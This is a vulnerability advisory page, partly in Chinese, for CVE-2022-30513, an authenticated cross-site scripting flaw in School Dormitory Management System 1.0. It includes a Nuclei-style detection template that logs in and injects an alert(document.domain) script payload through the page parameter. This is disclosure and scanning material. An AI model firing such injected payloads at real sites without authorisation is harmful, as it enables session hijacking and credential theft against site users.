CVE-2022-30513: School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting

日期: 2025-08-01 | 影响软件: School Dormitory Management System | POC: 已公开

漏洞描述

School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability via admin/inc/navigation.php:125. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC代码[已公开]

id: CVE-2022-30513

info:
  name: School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability via admin/inc/navigation.php:125. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an authenticated attacker to inject malicious scripts into the application, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/bigzooooz/CVE-2022-30513
    - https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30513
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/trhacknon/Pocingit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-30513
    cwe-id: CWE-79
    epss-score: 0.07297
    epss-percentile: 0.91311
    cpe: cpe:2.3:a:school_dormitory_management_system_project:school_dormitory_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: school_dormitory_management_system_project
    product: school_dormitory_management_system
  tags: cve2022,cve,xss,authenticated,school_dormitory_management_system_project

http:
  - raw:
      - |
        POST /dms/admin/login.php?f=login HTTP/1.1
        Host: {{Hostname}}

        username={{username}}&password={{password}}
      - |
        GET /dms/admin/?page=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "''; alert(document.domain); s='';"
          - "School Dormitory Management System"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022070c99cec32cd187f5ebc38a6153a2228d3005738b0ed14343d5df1e947fd1950022100fd7d8c8c5937cb56da58a7f55acca7c49a5e70562f0cb66958f6f56521bfcda9:922c64590222798bb761d5b6d8e72950

相关漏洞推荐